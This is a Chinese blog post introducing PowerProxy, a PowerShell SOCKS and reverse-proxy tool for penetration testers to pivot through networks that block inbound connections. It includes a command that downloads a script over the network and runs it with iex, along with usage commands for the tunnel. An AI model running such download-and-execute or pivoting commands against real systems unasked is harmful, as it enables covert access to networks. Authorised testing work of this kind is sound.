PowerProxy:一款带有反向代理功能的PowerShell Socks代理工具

关于PowerProxy

PowerProxy是一款功能强大的PowerShell
Socks代理工具,该工具带有反向代理功能,可以帮助广大安全研究人员更加轻松地完成某些特定场景下的渗透测试任务。

PowerProxy专为渗透测试人员设计,在遍历阻止入站连接的网络时,反向代理功能肯定是要优先考虑的。在默认情况下,反向代理连接会经过加密处理,而Socks5连接也支持基于用户名和密码的身份验证。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/get-get-get-get/PowerProxy.git

工具配置

我们可以使用下列命令导入PowerProxy脚本:

iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")

或者:

Import-Module \\192.168.0.22\Public\PowerProxy.ps1

其中,reverse_proxy_handler.py能够创建临时SSL证书,此功能需要使用到OpenSSL。如果你的设备上没有安装OpenSSL的话,这需要使用你自己的证书,或者使用“–no-
encrypt”选项,不过大多数Linux或类Unix系统默认都会安装有OpenSSL。

工具使用

查看工具帮助信息

./reverse_proxy_handler.py --help

运行一个反向代理

在本地设备上,使用下列命令开启一个Handler,此时Handler将会监听端口8080上的反向代理,客户端默认将连接至端口1080:

./reverse_proxy_handler.py -p 8080

接下来,在PowerShell窗口中,运行下列命令:

Start-ReverseSocksProxy 172.1.1.20 -Port 8080

代理客户端此时会将reverse_proxy_handler.py脚本创建的服务器当作实际的Socks服务器对待:

curl --socks4 127.0.0.1:1080 http://10.10.2.69/

运行一台传统意义上的Socks服务器

Start-SocksProxy 172.10.2.20 -Port 9050

开启身份验证

我们可以使用PSCredential对象来要求用户在连接时提供正确的用户名和密码:

# 创建凭证

$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"

$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

 

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

工具限制

1、仅支持CONNECT请求;

2、不支持GSSAPI认证;

3、reverse_proxy_handler.py仅在类Unix系统上进行过测试,不确定是否支持Windows系统;

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值